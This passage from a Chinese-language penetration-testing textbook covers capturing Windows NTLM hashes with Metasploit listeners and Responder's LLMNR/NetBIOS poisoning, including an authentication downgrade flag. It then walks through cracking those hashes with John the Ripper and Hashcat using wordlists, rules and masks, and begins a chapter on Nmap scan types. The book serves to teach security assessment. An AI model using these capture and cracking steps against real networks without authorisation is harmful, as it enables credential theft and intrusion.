  • CAINPWFILE 定义了捕获的哈希值将存储的位置,但采用 Cain 格式。Cain(为 Windows 编写的强大嗅探和破解套件)会在执行任务时捕获哈希值,然后你可以选择将数据保存以供后续使用。创建的文件将哈希值以 Cain 能识别的格式保存。你可以通过此标志将 Cain 指向此处创建的文件。我们不使用 Cain,因此将此项留空。

  • CHALLENGE定义了在身份验证过程开始时发送的服务器挑战。你会记得,通过网络捕获的哈希并不像你在 SAM 中看到的裸哈希那样直接,它们是密码的等效物。它们在挑战-响应机制中被加密。这对我们意味着,我们需要使用相同的挑战(即通常是随机生成的数字)来破解捕获的哈希——因此我们定义它,使其成为已知值。为什么是1122334455667788?这只是密码破解工具中常用的一个默认值。这里唯一的关键因素是我们可以预测这个挑战,因此,从理论上讲,你可以将这个数字设置为任何你想要的。我保留默认值,以便不必在稍后的破解配置中费心,但需要考虑的是,一个细心的管理员是否会注意到使用了可预测的挑战。看到 SMB 身份验证中的服务器挑战是1122334455667788,就可以明确知道你正在网络上进行恶作剧。

  • JOHNPWFILECAINPWFILE设置相同,但适用于 John the Ripper。我知道你这位 19 世纪的英国历史学家会说:“他的名字是开膛手杰克。”我指的是密码破解工具 John,通常简称为John。我们稍后会探讨 John,因为它可能是目前最流行的破解工具。现在,我在这里定义一个设置,因为 John 的格式相当通用,这会让我的破解工作更轻松。

  • SRVHOST定义了监听主机的 IP 地址。它必须指向你的攻击主机。0.0.0.0的默认值对于大多数情况应该是可以的,但当我们通过多个接口连接并具有不同的分配时,定义它会有所帮助。

  • SRVPORT定义了本地监听端口,正如你所想的那样,我们只会在特殊情况下更改它。通常它应该保持默认值445(SMB 通过 IP)。

这里描述的挑战/响应过程是 NTLMv1。NTLMv2 增加了客户端挑战的元素。破解者对此有所了解,我们的 SMB 捕获模块会在捕获身份验证尝试时显示客户端挑战。

让我们将SRVHOST定义为分配给我们接口的 IP 地址。首先,我将运行ifconfig并使用 grep 提取出inet,以查看我的 IP 地址,如下图所示:

图 4.2 – 使用 grep 方便地显示 eth0 的 IP 地址分配

图 4.2 – 使用 grep 方便地显示 eth0 的 IP 地址分配

使用set命令,我们将SRVHOST定义为我们的 IP 地址——就这么简单。尽管这 technically 不是一个漏洞利用,我们仍然使用相同的命令来启动我们的模块,如下图所示:

图 4.3 – 配置并启动 SMB 监听器

图 4.3 – 配置并启动 SMB 监听器

就是这样。SMB 监听器在后台运行,你可以继续工作。监听器正在运行,你只需要将目标指向你的 IP 地址。

查看用于捕获 NTLM 身份验证的 HTTP 方法。遵循相同的步骤,只需在 MSF 控制台提示符下输入以下命令:

use auxiliary/server/capture/http_ntlm

这将创建一个 HTTP 链接,用户将在浏览器中进行身份验证,这在某些社会工程学场景中可能会非常有用。你甚至可以对会话进行 SSL 加密。

身份验证捕获

天呐,成功了!屏幕上显示了捕获的身份验证尝试:

图 4.4 – 使用我们的监听器捕获网络凭证

图 4.4 – 使用我们的监听器捕获网络凭证

我们可以在 nano 中打开我们的 John 捕获文件,查看格式化后的破解输出。请记住,该模块会将 John 文件命名为你指定的 JOHNPWFILE,并会附加检测到的哈希算法。这样做是为了让你可以独立攻击任何不同的捕获数据集,而无需先对其进行排序:

图 4.5 – John 格式化的凭证

图 4.5 – John 格式化的凭证

在这个例子中,目标正在向我们发送 NTLMv2 凭证。稍后在本书中,我们将讨论在已攻陷主机的后期利用中如何降低安全性,以便捕获弱哈希。

这个攻击成功了,但有一个困扰我们的问题:我们必须欺骗设备让它尝试与我们的 Kali 机器进行身份验证。对于打印机,我们必须修改其配置,而成功的攻击意味着无辜用户的数据丢失,如果我们希望异常被忽视,我们的时机必须完美无缺。让我们研究另一种捕获 Windows 身份验证尝试的方法,这次我们将在系统查找本地共享时捕获凭证。

使用 LLMNR/NetBIOS NS 欺骗捕获哈希

Windows 计算机就像兄弟一样,总是愿意在另一个主机迷失和孤单时提供帮助。我们已经习惯依赖 DNS 进行名称解析。我们要查找一个名字,查询我们的 DNS 服务器,如果 DNS 服务器没有匹配的记录,它会将请求转发给下一个 DNS 服务器。它是一个层级结构,最远可以到达整个互联网的最高名称权限。另一方面,本地 Windows 网络是一个特别的俱乐部。当你和另一台 Windows 计算机共享同一本地链路时,你可以广播你的名称请求,其他 Windows 计算机会听到并返回名称(如果它们有的话)。这种协议的数据包甚至具有类似 DNS 的结构。主要的不同在于它不是层级的;它仅限于链路本地,并且无法穿越路由器(你能想象如果它能穿越路由器,会造成大规模的 分布式拒绝服务攻击(DDoS) 吗?)这种特殊的 Windows 功能叫做 LLMNR,它的前身是 NetBIOS NS。它不一定要开启,安全网络应该通过组策略禁用它,让 DNS 执行其工作。然而,它往往被忽视。

我知道你心里的黑客在说:“既然 LLMNR 和 NetBIOS NS 是广播协议,并依赖于共享链路的机器的响应,我们应该能够伪造回复,将请求指向任意本地主机。” 这是一个很好的观点!既然我们在讨论本地 Windows 资源,将对文件共享的请求重定向到我们的监听器将导致受害者进行身份验证,唯一不同的是这次我们等待目标发起通信——这里不需要社交工程技巧。

让我们直接开始吧。实现这一点有几种方法,包括使用 Metasploit。但我将展示在 Kali 中一种快速简便的方法:使用 Responder,一个简单的 Python 工具,它只会监听这些特殊格式的广播并返回伪造的答案。记住,我们是在监听广播——不进行任意嗅探、不做 ARP 欺骗、也不涉及中间人攻击。我们只是监听那些按设计实际上是发给子网内所有人的消息。

启动 Responder 的帮助页面,使用以下命令查看其功能:

responder -h

设置你的接口,Responder 会做其余的。不过,看看 –-lm 选项。它允许我们执行以下操作:“强制 Windows XP/2003 及更早版本使用 LM 哈希降级。”你可能会想,“我的目标运行的是 Windows 10 或 7——那应该不再有效了吧?”我希望这是完全正确的,但这里有两个因素。首先,记住向后兼容性的需求仍然非常常见;其次,记住这个标志通常会迫使通信降级到某个方面。例如,在本书的第一版中,我们展示了如何使用此功能将通信降级到 NTLMv1。今天,在我们的实验室中使用 Windows 10,我们发现 Responder 成功地将 SMBv2 降级到了较旧且不那么安全的 SMBv1。一个最重要的黑客人生课程就是,我们的大多数成功,实际上只是许多小成功的积累。

考虑到这一点,我将使用以下命令设置我的监听器:

responder –I eth0 --lm

首先,我们看到的是已启用和已禁用功能的概述。如果你喜欢这些功能中的某些,可以花时间玩一玩它们。例如,Responder 是一个很棒的快速简便的纯 HTTP 凭证收集工具。让我们看看开始捕获事件时的样子:

图 4.6 – Responder 捕获的中毒事件实时展示

图 4.6 – Responder 捕获的中毒事件实时展示

与此同时,在我们的目标计算机上——哦,天哪!我打错了我需要访问的打印机共享文件的名称。唉,算了,我再试一次。

图 4.7 – 受害者看到的内容

图 4.7 – 受害者看到的内容

与此同时,在我们的攻击 Kali 服务器上——太好了,我们得到了一个 NTLMv2 认证尝试。这个工具的唯一缺点是它没有花时间将好东西精心包装给我们的亲爱的朋友 John,所以请相应地准备输入给你的破解工具。以下是 Responder 给我们展示的内容。请注意,我们可以直接从这个窗口复制和粘贴:

图 4.8 – LLMNR 中毒响应抓取凭证

图 4.8 – LLMNR 中毒响应抓取凭证

你可能注意到我们没有定义服务器挑战!没错,我们没有。挑战是随机生成的,你需要确保你的破解工具使用正确的挑战值。

我们已经看过如何从网络中抓取 Windows 哈希。现在,我们有了一些看起来相当诱人的凭证,期待着破解它们,并希望能够用来登录各种服务,毕竟我们都知道密码重用有多么狡猾,不管你在渗透测试客户的培训多么好。接下来,让我们进入密码破解的艺术。

开始破解——破解 Windows 哈希

密码破解一直是我每次评估中最喜欢的部分之一。不仅仅是看着数以万计的账户屈服于即使是一台普通的个人电脑也具备的强大计算能力的刺激 – 对客户而言,这是你可以做的最有用的事情之一。当然,你可以进行渗透测试并交出一份外观漂亮的报告,但真正影响的是结果,它可能是区别于仅仅遵从最低合规标准和真正努力影响组织变革之间的差异。对一家银行的高管展示他们个人密码绝对是最能体现“影响力”的事情之一。

在我们看工具之前,有一些基础知识我们需要了解。我们需要了解哈希破解的实际工作是什么,并将一些人类心理学应用到我们的策略中。这是密码破解的另一个方面,使其如此有趣:科学和艺术如何理解人们的思维方式。

密码破解的两种哲学

你会看到两种主要的密码破解方法 – 字典暴力破解。这种区分有点名不副实;哈希函数是单向函数,所以我们实际上无法击败算法找到原始文本 – 我们只能找到碰撞(其中一个将是原始文本)。在这个大海捞针的工作中,没有捷径,因此,任何策略从技术上讲都是利用暴力计算速度。因此,在这种情况下:

  • 字典攻击:这种攻击使用预定义的数值列表进行哈希。这个列表通常被称为字典字典文件。可以按照定义使用字典,直到字典文件耗尽为止,或者可以使用规则对其进行修改,使攻击变成混合攻击。规则会对字典应用特定的修改,以搜索原始单词的变体。例如,想象一下,字典文件中的条目是password。一条规则可能会告诉破解者尝试将初始字母大写,然后在末尾添加一个数字,0-9。这将扩展实际搜索的字典文件,包括password1password2等等。当我们考虑到密码创建习惯和人性化适应企业密码政策时,规则集往往是我们成功破解的黄金钥匙。对于单词字典要小心,因为这与你书架上的英语词典不同。例如,假设电视上的一部流行情景喜剧使用了一个虚构的词shnerfles作为笑话。人们观看节目,喜欢这个笑话,并开始在他们的密码中加入这个词以便记住密码。尽管shnerfles不会出现在英语词典中,但任何聪明的密码破解者早已将这个词包含在他们的字典文件中。

  • 暴力破解攻击:这将组合出给定字符集的所有可能组合。按其本质,纯暴力破解攻击可能需要很长时间才能完成。而对于字典攻击,我们使用规则集来增强攻击,我们可以通过掩码修改暴力破解攻击的猜测。掩码允许我们为密码的某些位置定义不同的字符集,从而大大缩小搜索空间。例如,假设我们要查找任何字母组合,不仅仅是可能出现在字典列表中的单词,但我们假设用户将第一个字母大写,然后在末尾加了几个数字。在这个例子中,掩码会为第一个字符位置设置大写字母字符集,接下来的字母可以是大写或小写字母,最后两个字符位置只能是数字。为了更好地理解这能对搜索产生的影响,假设我们要查找一个 10 字符的密码,可用字符为a**-**zA**-**Z0**-**9,以及键盘上方的 13 个符号。那么,我们将应用一个掩码,只搜索以大写字母开头,并且最后两个字符只能是数字的密码。

    • 没有掩码((26 * 2) + 10 + 13) ^ 10 = 5.6313515 * 10¹⁸(大约 5.63 quintillion 个密码)

    • 有掩码26 * (75⁷) * (10²) = 3.4705811 * 10¹⁶(大约 34.7 quadrillion 个密码)

你可能会看着这个数字想,“这两个数字都太大了。”但通过一个非常简单的掩码——前面一个大写字母,后面两个数字——我们将搜索空间减少了超过 99.3%。如果我们拥有足够的计算能力,能够在四天内处理未加掩码的空间,使用这个掩码后,我们将把时间缩短到大约 36 分钟。如你所见,掩码对暴力破解的作用,就像规则集对字典攻击的作用一样:在你将哈希值从域控制器导出到客户网络时,它基本上是成功的金钥。

两种修改方法的关键点在于针对密码选择的心理因素。对于已知的词汇,很少有人会在不改变某个字符的情况下使用一个单词(实际上,许多公司密码政策根本不允许未修改的词典单词)。对于暴力破解攻击,极少有人会选择kQM6R#ah*p作为密码,但我们刚才描述的未加掩码的 10 字符搜索将检查它以及其他数万亿个不太可能的选择。

而规则增加了字典攻击的搜索空间,掩码的设计目的是减少暴力破解攻击的搜索空间。

使用字典列表进行 John the Ripper 破解

找到合适的词典并构建你自己的词典是一个大话题。幸运的是,Kali 内置了一些词典。对于我们的演示,我们将使用rockyou词典——它很流行,而且相当庞大。不过,我建议你始终将其视为通用词典。仅携带rockyou并期望自己能成为密码破解者,就像携带一把单一的螺丝刀并期待成为维修工人一样。当然,你会遇到偶尔适用的情况,但你会遇到不同大小的螺丝,你需要合适的工具来完成工作。当我为客户工作时,我有很多词典,而且我常常在路上建立新的词典。当我为俄亥俄州的公司工作时,我确保buckeyes出现在我的词典中。同样地,当我为密歇根州的公司工作时,我确保spartans出现在我的词典中。这些词是运动队的名字——中西部的美国人热爱他们的橄榄球,虽然政策不会让他们仅仅凭借这些词就能通过,但我通过破解这两个词并将攻击与规则集混合使用,获得了大量的密码。当然,rockyou和任何其他词典不过是一个被美化的文本文件。所以,每当想到时,尽管添加内容!

Kali 将词典保存在/usr/share/wordlists中,所以让我们去那里并解压rockyou

图 4.9 – 提取 rockyou 词典

图 4.9 – 提取 rockyou 词典

现在我们有了一个词典,是时候查看 John 的配置文件,了解所有的“魔法”定义了什么。运行这个命令在 nano 中打开它,记住它是一个非常大的文件:

nano /etc/john/john.conf

这里有很多内容,我鼓励你阅读详细手册——但最重要的部分在底部,那里定义了规则集。约定是:[list.rules:NAME],其中NAME是你在命令行中定义的规则集名称。你甚至可以使用.include将规则集嵌套在其他规则集中。当你需要定义自定义规则但又需要包含基础规则时,这将节省你的时间:

图 4.10 – 查看 John 配置文件

图 4.10 – 查看 John 配置文件

让我们坦诚一点,当你第一次遇到规则语法时,它看起来就像外星语言。掌握 John 规则语法超出了本讨论的范围,但我建议你查看配置文件中的注释,并尝试一些基础知识。Single规则集为我们做了一些有用的修改,并且在快速的 CPU 上运行并不需要太长时间,所以让我们尝试一下用从网络上获取的哈希值:

图 4.11 – 用 John 破解我们捕获的哈希

图 4.11 – 用 John 破解我们捕获的哈希

  • --wordlist定义了字典文件(也就是我们演示中的rockyou)。

  • --rules 定义了规则集,该规则集在 john.conf 中进行了定义。

  • --format 是导入的哈希类型(在我们的案例中是 NetNTLMv2)。

破解的密码显示在左侧,右侧是对应的用户名,括号中注明。你可以按任意键(除了 q,它会退出)查看破解状态,包括完成百分比和预计完成的本地时间。

使用 John the Ripper 破解与掩码

我们可以使用掩码来定位特定模式,而无需使用字典列表。掩码遵循简单的语法,每个字符模式类型都通过范围或带有问号的占位符来定义。例如,大写字母(ASCII)将用 ?u 来定义,然后将其放置在所需的字符位置。

我们来看一些示例:

表格 4.2 – 掩码示例

表格 4.2 – 掩码示例

一种特殊类型的掩码是 堆叠,它将字典破解与掩码结合起来。语法与普通掩码类似,只不过我们的 ?w 占位符定义了列表中的单个单词。例如,使用 --wordlist= 定义一个单词列表,然后用 ?w?d?d?d?d 定义一个掩码,这样就会从单词列表中取出一个单词,并查找该单词与四个数字组合的所有可能性。

使用展示标志回顾你的进展

尽管 John 在破解过程中会显示大量数据,但知道我们的结果会自动保存在某个地方,以便我们可以以干净的格式查看它们,还是很不错的。John 通过在我们重新启动 John 时将破解的哈希值存档,使得大规模输入文件的管理变得轻而易举。

例如,假设我们正在破解 25 个哈希值,而今天我们只有 5 个小时来破解它们,但明天我们可以继续工作几个小时。我们可以设置攻击,让 John 运行 5 小时,然后用 qCtrl + C 中止。假设在这段时间内我们恢复了 10 个密码。当我们明天重新启动 John 时,这 10 个密码已经被单独保存,John 将开始破解剩余的 15 个。

与其拥有一个我们单独查看的输出文件,John 被设计为让我们通过 --show 标志直接查看结果:

图 4.12 – John 展示标志

图 4.12 – John 展示标志

将这些数据导出为 Excel 电子表格,使用冒号分隔数据,这样你就能为管理即使是大规模的破解项目提供提前的支持。

喵喵喵 – 开始使用 Hashcat

尽管我们花了大量时间与 John 一起工作,但我必须坦诚—我现在甚至不再使用它了。迄今为止,最强大的通用密码破解工具是 Hashcat,它已包含在 Kali 中。你可能会想,既然 Hashcat 是最好的,为什么我不一开始就使用它呢?嗯,今天最好的工具站在昨天的冠军肩膀上,而 John 是理解破解工作原理的完美入门工具。等你准备好迎接下一个层次时,Hashcat 会为你提供支持。

Hashcat 有什么特别之处?主要优势就是其原始速度——Hashcat 因其硬件优化而更加快速。如果你有较慢的硬件,并且试图挤出每一秒的哈希值,Hashcat 非常适合你。另一方面,如果你有一台强大的 PC,Hashcat 利用 GPU 性能的能力将令你震撼。如果你在游戏笔记本上安装了 Kali,那就系好安全带吧。

首先,我们将启动帮助页面——这个破解工具非常强大:

# hashcat –-help

是的,这是一个信息墙。不要感到害怕——它非常合乎逻辑,一旦你习惯了,它的功能灵活性将让你惊讶。你需要了解的主要概念如下:

  • 攻击模式

  • 哈希模式

  • 词表/字符集/规则

哈希模式 指的是你正在破解的哈希类型。Hashcat 支持的哈希类型种类繁多,所以确保查看帮助页面,了解完整的哈希类型范围。你会很快发现,它不仅仅是哈希——你甚至可以尝试破解被锁定的 PDF7-Zip 文件。我们在前面的例子中已经研究了 Net-NTLMv2,所以今天我们将使用哈希模式 5600

Hashcat 有两种字典攻击方式——直攻组合组合攻击模式允许你指定一个或两个词表,它会将每个词表中的单词组合在一起。例如,假设某人的密码包含 hardlypickled。你可能不会在词表中找到这个单词(现在我在书中写了它,可能在更新的词表中会出现,但我偏题了)。然而,你会在英文词表中找到 hardlypickled,而组合攻击模式就是用来找到它们在密码中的组合的。

暴力破解模式 不言自明,但 Hashcat 在这方面表现得异常出色。你需要指定字符集,并使用问号占位符(像我们在 John 中使用的那样)来指定密码长度。占位符代码非常直观——?l 表示所有小写字母,?u 表示所有大写字母,?d 表示数字,?s 表示符号。?a 表示 全部,它是这四种字符集的组合。直攻和组合攻击都很棒,但这种精细调优的暴力破解攻击,加上强劲 GPU 的速度,就是我在职业生涯中破解大多数密码的方法。正如我们所讨论的,人在破解密码时的记忆起着主导作用。让我们来看个例子。

假设我们想要通过暴力破解攻击尽可能多地捕获 10 个字符的密码。我们知道密码策略要求至少包含一个符号、一个数字和一个大写字母。虽然很多人会将所需的符号放在任意位置,但易记的密码更可能将其放在单词后面或密码的最后。至于数字,可能会有任意数量的数字,但易记的密码通常会有两位或四位数字来表示一个有意义的年份。当然,大写字母很可能是密码的第一个字符。了解并假设这些情况后,让我们看看一些可能的命令:

  • # hashcat -m 5600 –a 3 ntlm.txt ?u?a?a?a?a?s?d?d?d?d

  • # hashcat -m 5600 –a 3 ntlm.txt ?u?a?a?a?a?d?d?d?d?s

  • # hashcat –m 5600 –a 3 ntlm.txt ?u?a?a?a?a?a?a?d?d?s

这三种情况的密码在开头都会有一个大写字母。第一个密码会在单词后面(单词可以由字母、数字或符号组成)加上一个符号,后面跟四个数字。第二个密码则将符号放在四个数字后面。最后一个密码使用两个数字。

当然,这些命令仅查找正好 10 个字符长的密码。设置 –i 标志后,您启用了增量模式,该模式将搜索所有最大长度以内的密码。如果使用此功能,请记住,状态窗口会显示当前长度的时间估算。

一旦开始攻击,按下 s 键以获取状态更新:

图 4.13 – Hashcat 完成其攻击

图 4.13 – Hashcat 完成其攻击

由于密码破解的正确处理方式本身可能是一整本书的内容,因此我们在这里并没有完成这个话题。我们将在第十六章《提升权限》中,探讨如何对被攻破的主机进行哈希值提取,因此我们会再次回顾如何在大规模数据输入下进行破解。

总结

在本章中,我们介绍了 Windows 密码及其哈希表示的基本理论。我们查看了 SAM 中存储的原始哈希以及加密的网络哈希。接着,我们回顾了使 Windows 哈希成为渗透测试人员极具吸引力目标的基本设计缺陷。首次介绍了 Metasploit 框架,演示了辅助模块。我们使用 SMB 监听模块来捕获来自网络中误导的 Windows 目标的认证尝试。然后,我们演示了一种可以欺骗目标通过我们的机器进行身份验证的本地链接名称服务欺骗技术。通过从我们的演示中捕获的凭证,我们继续使用 John the Ripper 和 Hashcat 进行实际的密码破解。我们介绍了 John 的两种主要密码破解方法,并演示了如何针对人的因素精细调整攻击。

在下一章中,我们将探讨更复杂的网络攻击。我们将深入了解 Nmap 在侦察和规避中的细节。我们将研究路由攻击和软件升级攻击,并且从渗透测试的角度讲解IPv6的相关内容。

问题

回答以下问题,以测试你对本章内容的掌握。

  1. 向哈希函数输入空值会产生空输出。对还是错?

  2. ____ 效应指的是密码学特性,其中对输入值的微小变化会导致输出值发生剧烈变化。

  3. 哪两种设计缺陷会导致存储为 LM 哈希的 14 字符密码变得更容易破解?

  4. 为什么在捕获 Net-NTLMv1 时我们需要定义服务器挑战?

  5. LLMNR 的前身是什么?

  6. 字典规则集减少了搜索空间,而掩码则增加了暴力破解的搜索空间。对还是错?

  7. 要找到一个五个字符的密码,前两个字符是数字,接下来是一个符号,剩下的两个字符是字母(大写或小写),并且它们必须位于字母表中的Q(包含)之后,你会使用什么掩码?

  8. Jack the Ripper 是最流行的密码破解工具。对还是错?

进一步阅读

若要获取有关本章所涵盖主题的更多信息,请查看以下资源:

  • John the Ripper 的掩码语法:

github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/doc/MASK

  • John the Ripper 的规则语法:

www.openwall.com/john/doc/RULES.shtml

  • Metasploit 中捕获辅助模块的概述:

www.offensive-security.com/metasploit-unleashed/server-capture-auxiliary-modules/

第五章:评估网络安全

在前几章中,我们在网络中探索了很多有趣的内容。重点是中间人攻击,原因显而易见 - 当正确执行时,它们特别具有破坏性。然而,当你教育客户时,你的重点应该是这些都是相当古老的攻击,然而它们仍然经常有效。

其中一个原因是我们在网络中仍然依赖非常老旧的技术,而中间人攻击通常利用协议层面的固有设计漏洞。考虑到互联网协议套件,构成了我们今天所知的互联网 - 最初导致 TCP/IP 的研究可以追溯到 1960 年代,官方的激活和采用在 1980 年代初开始获得关注。老旧并不一定意味着不安全,但问题在于这些协议设计时的背景 - 那时候并没有数以百万计的设备连接到网络,由从地下室的青少年到奶奶在家中操作,它们也没有被嵌入到从核电站的物理机制到郊区家庭冰箱的各种设备中的网络堆栈支持,发送数据包以提醒某人他们的牛奶即将用完。这种采纳和传播方式并未被考虑;事实上,对节点的物理访问是严格控制的。这种固有问题并未被忽视 - 下一代互联网协议 IPv6 在 1990 年代末正式定义(最近一篇 RFC 于 2017 年发布)。我们将在本章讨论 IPv6,但也会演示如何将 IPv4 与 IPv6 实际接口化。这突显了采用速度缓慢以及在使 IPv6 在 IPv4 环境中良好运行方面投入了大量精力,确保我们将继续使用 IPv4 的所有固有不安全功能。

作为一名工作中的渗透测试员,看到你的系统上弹出 shell 是令人兴奋的。但当游戏结束时,你将面对大量的发现,这些发现将在报告中向客户展示。记住,你的工作是帮助客户保护他们的企业,而不仅仅是软件漏洞。寻找机会来教育和提醒。

在本章中,我们将涵盖以下主题:

  • 使用 Nmap 进行网络探测

  • 使用 BetterCAP 探索二进制注入

  • 数据走私 - 使用 HTTPTunnel 规避防火墙

  • IPv6 寻址、侦察、中间人攻击,以及从 IPv4 进行映射

技术要求

对于这一章,你将需要一台运行 Kali Linux 的笔记本电脑。

使用 Nmap 进行网络探测

让我们来玩一场 Jeopardy(危险边缘)。这是答案——“这款网络映射工具首次发布于 24 年前,当它在好莱坞电影中的精准描绘引起轰动时,苏格兰场等组织提醒公众,它的使用可能是非法的。”如果你回答“这是什么 Nmap?”作为问题,那么你就赢得了这个每日双倍奖。Nmap 是几乎所有从事网络计算机工作的人必备的工具。Nmap 意味着 网络映射器,它在安全领域之外的多种学科中都很有用:网络工程、系统管理等。Nmap 的创新之处在于,它允许你发送的探针高度自定义,可以产生独特的响应,揭示大量目标信息,甚至能找到穿越防火墙的捷径。

Nmap 是俚语“瑞士军刀”的化身,接下来我们来解析它的主要用途。

主机发现

Nmap 可以执行 ping 和端口扫描,但这不是普通的扫描器——它允许你发送多种探针来提高找到目标的机会。你可以简单地 ping 目标,也可以向某些端口发送特定的轻量级探针。整体思路是发送某些内容来激发目标的响应。这里的灵活性使得 Nmap 成为任何管理员以及渗透测试者的理想伙伴。

列表扫描(-sL)

这仅仅列出了扫描的主机,包括沿途的反向 DNS 查找。然而,不会向目标发送任何流量。这对于验证你正在使用的 IP 范围非常有用。

Ping 扫描(-sn)

Ping 扫描允许你有效地对目标进行 ping 扫描——也就是说,不进行端口扫描,但与列表扫描不同,我们会向目标发送以 ping 形式的数据(具体来说,是 ICMP ECHO 请求)。在默认设置下,会有一些端口活动——Nmap 会向端口 443 发送 SYN 向端口 80 发送 ACK 并发送 ICMP 时间戳请求。这可以与下文讨论的发现探针结合使用,在这种情况下会跳过默认行为。

跳过主机发现(-Pn)

这是为那些明确知道自己需要什么的 Nmap 用户设置的:它不会去确定主机是否在线,因此它有效地将 范围内的每个 IP 地址 都视为在线。你可能会在某些情况下使用这个选项,比如当你不完全信任主机发现的结果时。防火墙可以被配置为让在线主机对流行的发现方法保持沉默。这个设置的好处是,你可以确保在端口扫描开始时没有主机会被忽略。缺点是扫描将需要更长时间,因为 Nmap 会等待响应并超时,针对每个指定的端口和每个指定的 IP 地址进行检查——这意味着它会对那些根本不存在的计算机进行大量探测。

专用发现探针(-PS,-PA,-PU,-PY,-PO)

在使用ping工具查找主机和运行端口扫描查找服务之间,Nmap 的主机发现选项占据了一个位置。例如,SYN Ping(-PS)会向默认的 80 端口或您指定的端口发送一个空的 SYN 数据包。如果主机响应,虽然没有建立连接,但它告诉 Nmap 主机是存在的。与此类似的发现选项是 ACK Ping(-PA),其作用相同——发送一个空数据包,但设置了ACK标志。这个选项有助于发现那些配置为丢弃 SYN 请求的防火墙后面的主机,但防火墙可能没有足够“智能”去丢弃未请求的 ACK 数据包。UDP Ping 类似,并允许您配置特定的端口,但它使用 UDP 而不是 TCP。由于 UDP 没有三次握手,Nmap 等待的是 ICMP 端口不可达消息,这证明主机是存在的。端口号在这里并不那么重要;事实上,您可能希望避开常见的端口。默认端口是 40125——这肯定是一个不常用的服务托管端口。流控制传输协议SCTP)也有一个发现选项和扫描选项:-PY 发送带有 INIT 数据块的 SCTP 消息,等待响应 ABORT 或 INIT-ACK。另一个精细调整的探测方式是 IP 协议 Ping(-PO),它发送带有特定协议的包头。例如,假设您想通过 IGMP 探测主机。您可能会收到一个 不可达 消息,或者甚至得到一个 IGMP 响应——无论哪种情况,主机都证明了其存在。

强化版 Ping(-PE, -PP, -PM)

您可能已经知道,通常情况下,主机不会响应基本的 ping 请求——管理员通常会配置主机和防火墙来丢弃这些普遍的 ECHO 请求,尤其是来自不受信任网络的请求。ICMP 中的其他消息类型往往被忽视。这就是不同 ping 选项发挥作用的地方。您可以使用 –PE 来执行经典的 ping 请求,但 –PP–PM 分别允许您通过 ICMP 发送时间戳查询和地址掩码查询。

端口扫描 – 扫描类型

Nmap 从最初作为一个用户友好且快速的端口扫描器起步,已经走了很长一段路。它允许精细调节,以令人难以置信的可靠性深入了解目标的实际状态。然而,任何工具都可以快速组装并信任去尝试连接端口——而 Nmap 之所以脱颖而出,是因为它能够发送精心构造的意外消息并分析响应。让我们来看看不同的技术。

TCP SYN 扫描(-sS)

这种扫描发送 TCP 三次握手的初始同步(SYN)请求,但并不打算完成该事务。这里的目的是监听服务是否准备好通信的 SYN-ACK 响应,如果收到,则标记端口为开放。这个技巧有时被称为 隐身扫描,但我认为它是一个误称——任何入侵检测系统都会知道端口扫描的存在。它之所以“隐身”,是因为事务从未完成,这意味着没有连接能够通过剩余的 OSI 层。因此,应用程序从未收到连接,也不会记录下来。不要因为这个就气馁——做一个网络上的烦人角色总比既是网络烦人角色又是应用日志烦人角色要好。而且它有潜力更快,因为我们不需要等待已建立的连接。

TCP Connect() 扫描 (-sT)

如果你问某人 SYN 扫描和 Connect() 扫描的区别,常见的回答是 可靠性。SYN 扫描由于是半开连接,可能会给出意外的结果;但是,已完成的三次握手又如何呢?那是一个已开放的端口,准备好进行通信。实际上,SYN 扫描在任何合规的 TCP 协议栈上都是非常可靠的——当你从 SYN 收到 SYN-ACK 响应时,几乎不需要解释什么。两者之间的实际区别在于你的本地权限。这对所有的 Kali 黑客来说可能没有太大意义——你们已经是 root 用户了。但如果你只有较低的用户权限呢?那么花哨的 SYN 扫描就不是一个选项,因为它是一个自定义的数据包,因此需要原始套接字权限。Connect() 扫描利用了 connect() 系统调用,就像任何需要建立连接的普通程序一样。它很可靠,但速度较慢,目标应用程序会注意到它。

UDP 扫描 (-sU)

我可以给你讲一个关于 UDP 的笑话,但你可能听不懂。懂了吗?那种经典的“发射后忘记”的 用户数据报协议 (UDP) 常常被渗透测试员忽视,但其攻击向量的潜力与更显眼的 TCP 是一样的。关于 UDP 扫描,反直觉的是它的速度——尽管 UDP 与如今那些快速的流媒体服务相关联,但由于每个数据包不需要等待确认,打开的 UDP 端口甚至可能不会回应 Nmap 的探测。毕竟,不需要握手。知道丢失的数据报和已接收但没有回应的数据报之间的区别意味着 Nmap 需要重试并等待判断。这在一些常见协议(如 SNMP)中问题较小,因为 Nmap 知道该发送该协议特定的数据。

这些扫描利用了 SCTP,这是一种结合了 TCP 可靠性和 UDP 速度的协议。你可能不会遇到这种需求,但 Nmap 为此做了准备。INIT 是 SCTP 中与 SYN 请求等效的部分,而 INIT-ACK 是在端口打开时的预期响应。COOKIE ECHO 是一种特殊的响应;按照设计,远程系统在其 INIT-ACK 中发送一个cookie,发起方则响应 COOKIE ECHO。然而,未请求的 COOKIE ECHO 会被开放端口丢弃,从而使 Nmap 能够区分开放端口和关闭端口。就像接下来讨论的 TCP NULL/FIN/Xmas 扫描一样,这是 Nmap 在利用 RFC 技术细节方面的一个例子:事情应该按照某种方式进行,RFC 规范规定了当它们没有按照预期进行时该如何处理。Nmap 正是利用了这一点。

TCP NULL/FIN/Xmas/Maimon 扫描(-sN / -sF / -sX / -sM)

为了理解这些扫描,我们先深入探讨一些理论。在传输控制协议TCP)的 RFC 中,功能规范的事件处理部分列出了一些处理异常事件的关键规定。每个 TCP 段都有一个头部,其中包含关于该数据块在连接中所扮演角色的信息。这个头部的长度是固定的,包含了诸如源端口和目标端口等信息。还有一部分是保留位,用于设置标志。在这里,数据包被定义为,例如,SYN 请求。如果这些标志设置异常,设计规范就会规定如何处理这种情况。以下是 RFC 中关于关闭端口的一个示例——“如果状态为 CLOSED,则丢弃所有传入段中的数据。包含 RST 的传入段将被丢弃。未包含 RST 的传入段将发送 RST 作为响应。”另一个关键点出现在下一页,讨论了打开端口——“传入的 RST 段可能无效,因为它不可能是对本连接实例发送的任何内容的响应。因此,你不太可能到达这里,但如果发生了,丢弃该段并返回。”即使这个特定事件被指出是无效的,规范仍然描述了如何处理它。因此,Nmap 可以推断端口的状态。

